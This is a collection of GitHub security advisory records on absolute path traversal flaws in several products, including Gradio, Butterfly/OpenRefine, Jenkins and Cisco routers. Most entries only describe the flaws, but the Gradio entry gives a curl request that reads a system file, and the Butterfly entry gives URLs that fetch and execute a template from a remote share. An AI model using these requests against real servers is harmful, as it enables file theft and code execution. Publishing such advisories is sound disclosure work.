CWE-36

{
  "affected": [],
  "aliases": [
    "CVE-2023-2765"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-36"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-17T17:15:17Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been found in Weaver OA up to 9.5 and classified as problematic. This vulnerability affects unknown code of the file /E-mobile/App/System/File/downfile.php. The manipulation of the argument url leads to absolute path traversal. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-229270 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-32mv-32jr-45q9",
  "modified": "2023-05-17T18:30:30Z",
  "published": "2023-05-17T18:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2765"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eckert-lcc/cve/blob/main/Weaver%20oa.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.229270"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.229270"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-26337"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-36"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-19T18:24:59Z",
    "severity": "HIGH"
  },
  "details": "Hyland Alfresco Transformation Service allows unauthenticated attackers to achieve both arbitrary file read and server-side request forgery through the absolute path traversal.",
  "id": "GHSA-3453-mrqq-23pm",
  "modified": "2026-02-20T15:31:00Z",
  "published": "2026-02-19T18:31:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26337"
    },
    {
      "type": "WEB",
      "url": "https://connect.hyland.com/t5/alfresco-blog/security-update-cve-2026-26337-cve-2026-26338-cve-2026-26339/ba-p/496551"
    },
    {
      "type": "WEB",
      "url": "https://www.hyland.com/en/solutions/products/alfresco-platform"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/hyland-alfresco-transformation-service-absolute-path-traversal-arbitrary-file-read-and-ssrf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:htmlpublisher"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "427"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53651"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-36",
      "CWE-779"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-09T20:44:31Z",
    "nvd_published_at": "2025-07-09T16:15:24Z",
    "severity": "MODERATE"
  },
  "details": "Jenkins HTML Publisher Plugin 425 and earlier displays log messages that include the absolute paths of files archived during the Publish HTML reports post-build step, exposing information about the Jenkins controller file system in the build log.\n\nHTML Publisher Plugin 427 displays only the parent directory name of files archived during the Publish HTML reports post-build step in its log messages.",
  "id": "GHSA-367v-5ppj-2hrx",
  "modified": "2025-11-05T19:58:40Z",
  "published": "2025-07-09T18:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53651"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/htmlpublisher-plugin"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2025-07-09/#SECURITY-3547"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/07/09/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins HTML Publisher Plugin vulnerability displays controller file system information in its logs"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "gradio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28414"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-36"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-01T01:28:41Z",
    "nvd_published_at": "2026-02-27T22:16:24Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nGradio apps running on Window with Python 3.13+ are vulnerable to an absolute path traversal issue that enables unauthenticated attackers to read arbitrary files from the file system.\n\n### Details\nPython 3.13+ changed the definition of `os.path.isabs` so that root-relative paths like `/windows/win.ini` on Windows are no longer considered absolute paths, resulting in a vulnerability in Gradio\u0027s logic for joining paths safely.\n\nThis can be exploited by unauthenticated attackers to read arbitrary files from the Gradio server, even when Gradio is set up with authentication.\n\n### PoC\n```\n% curl http://10.10.10.10:7860/static//windows/win.ini\n; for 16-bit app support\n[fonts]\n[extensions]\n[mci extensions]\n[files]\n[Mail]\nMAPI=1\n```\n\n### Impact\nArbitrary file read in the context of the Windows user running Gradio.",
  "id": "GHSA-39mp-8hj3-5c49",
  "modified": "2026-06-06T00:22:19Z",
  "published": "2026-03-01T01:28:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gradio-app/gradio/security/advisories/GHSA-39mp-8hj3-5c49"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28414"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gradio-app/gradio/commit/6011b00d0154b85532fa901dd73cf8fa7d86fd04"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gradio-app/gradio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2026-64.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gradio is Vulnerable to Absolute Path Traversal on Windows with Python 3.13+"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-1296"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-36"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-04T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple vulnerabilities in the web-based management interface of Cisco Small Business RV160, RV160W, RV260, RV260P, and RV260W VPN Routers could allow an unauthenticated, remote attacker to conduct directory traversal attacks and overwrite certain files that should be restricted on an affected system. These vulnerabilities are due to insufficient input validation. An attacker could exploit these vulnerabilities by using the web-based management interface to upload a file to location on an affected device that they should not have access to. A successful exploit could allow the attacker to overwrite files on the file system of the affected device.",
  "id": "GHSA-3f2h-3gpm-gq2c",
  "modified": "2022-08-06T00:00:38Z",
  "published": "2022-05-24T17:41:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1296"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv160-260-filewrite-7x9mnKjn"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.openrefine.dependencies:butterfly"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-47883"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-36",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-24T18:16:43Z",
    "nvd_published_at": "2024-10-24T21:15:13Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe Butterfly framework uses the `java.net.URL` class to refer to (what are expected to be) local resource files, like images or templates. This works: \"opening a connection\" to these URLs opens the local file. However, if a `file:/` URL is directly given where a relative path (resource name) is expected, this is also accepted in some code paths; the app then fetches the file, from a remote machine if indicated, and uses it as if it was a trusted part of the app\u0027s codebase.\n\nThis leads to multiple weaknesses and potential weaknesses:\n\n* An attacker that has network access to the application could use it to gain access to files, either on the the server\u0027s filesystem (path traversal) or shared by nearby machines (server-side request forgery with e.g. SMB).\n* An attacker that can lead or redirect a user to a crafted URL belonging to the app could cause arbitrary attacker-controlled JavaScript to be loaded in the victim\u0027s browser (cross-site scripting).\n* If an app is written in such a way that an attacker can influence the resource name used for a template, that attacker could cause the app to fetch and execute an attacker-controlled template (remote code execution).\n\n### Details\n\nThe `edu.mit.simile.butterfly.ButterflyModuleImpl.getResource` method converts a resource name into an URL, for instance:\n\n```\nimages/logo-gem-126.svg\nfile:/C:/Users/Wander/IdeaProjects/OpenRefine/main/webapp/modules/core/images/logo-gem-126.svg\n```\n\nIf the resource name already starts with `file:/`, it is passed through unmodified (line 287). There is no check that the resulting URL is inside the expected directory or on the same machine.\n\nThe default implementation for `process` in `ButterflyModuleImpl` is to serve a named resource, which makes it vulnerable. The Velocity template library is bound to the same `getResource` implementation through the `ButterflyResourceLoader` class, which means it is also vulnerable if template resource names can somehow be influenced by an attacker.\n\n### PoC\n\nThis demonstration has been tested with [OpenRefine](https://github.com/OpenRefine/OpenRefine) on a Windows machine. Start OpenRefine, create a file (here `example.js`) with some contents, then concatenate the OpenRefine URL and its `file:/` URL, as follows:\n\n    http://localhost:3333/file:/C:/Users/Wander/example.js\n\nThe file is read and sent to the browser. Then, visit:\n\n    http://localhost:3333/file:%2f%2fwandernauta.nl/public/demo.html\n\nAssuming there are no firewalls in the way, the HTML page is retrieved from the public SMB (Samba) network share and sent to the browser, which executes the embedded JavaScript.\n\nIn the case of OpenRefine specifically, to demonstrate the attacker-controlled template name case:\n\n    http://localhost:3333/file:%2f%2fwandernauta.nl/public/index\n\nAn `index.vt` template containing the snippet above is retrieved from the same share, which is then executed; the Windows calculator opens.\n\n### Impact\n\nDepending on how the framework is used: path traversal, XSS, SSRF; potentially RCE.",
  "id": "GHSA-3p8v-w8mr-m3x8",
  "modified": "2024-10-24T21:46:18Z",
  "published": "2024-10-24T18:16:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OpenRefine/simile-butterfly/security/advisories/GHSA-3p8v-w8mr-m3x8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47883"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenRefine/simile-butterfly/commit/537f64bfa72746f8b21d4bda461fad843435319c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OpenRefine/simile-butterfly"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Butterfly has path/URL confusion in resource handling leading to multiple weaknesses"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-8912"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-36"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-13T10:15:26Z",
    "severity": "HIGH"
  },
  "details": "Organization Portal System developed by WellChoose has an Arbitrary File Reading vulnerability, allowing unauthenticated remote attackers to exploit Absolute Path Traversal to download arbitrary system files.",
  "id": "GHSA-3r5r-4r48-4hxh",
  "modified": "2025-08-13T12:31:30Z",
  "published": "2025-08-13T12:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8912"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/en/cp-139-10325-70192-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-10321-3cae5-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-68896"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-36"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-08T18:18:38Z",
    "severity": "HIGH"
  },
  "details": "Absolute path traversal in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.",
  "id": "GHSA-3wq2-677q-r3rq",
  "modified": "2026-09-08T18:32:17Z",
  "published": "2026-09-08T18:32:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68896"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-68896"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-88288"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-36"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-10T09:17:05Z",
    "severity": "MODERATE"
  },
  "details": "GeoVision GV-LPC2211 V1.13 fails to restrict the filename supplied to BKDownloadLink.cgi, allowing a remote user with valid web credentials to read arbitrary files accessible to the root-run web service.",
  "id": "GHSA-3wrx-86xp-x44c",
  "modified": "2026-09-10T09:31:43Z",
  "published": "2026-09-10T09:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88288"
    },
    {
      "type": "WEB",
      "url": "https://www.geovision.com.tw/cyber_security.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-15237"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-36"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-05T08:15:57Z",
    "severity": "MODERATE"
  },
  "details": "QOCA aim AI Medical Cloud Platform developed by Quanta Computer has a Path Traversal vulnerability, allowing authenticated remote attackers to read folder names under the specified path by exploiting an Absolute Path Traversal vulnerability.",
  "id": "GHSA-42r3-w28v-2547",
  "modified": "2026-01-05T09:30:19Z",
  "published": "2026-01-05T09:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15237"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/en/cp-139-10616-cd942-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-10615-157a3-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}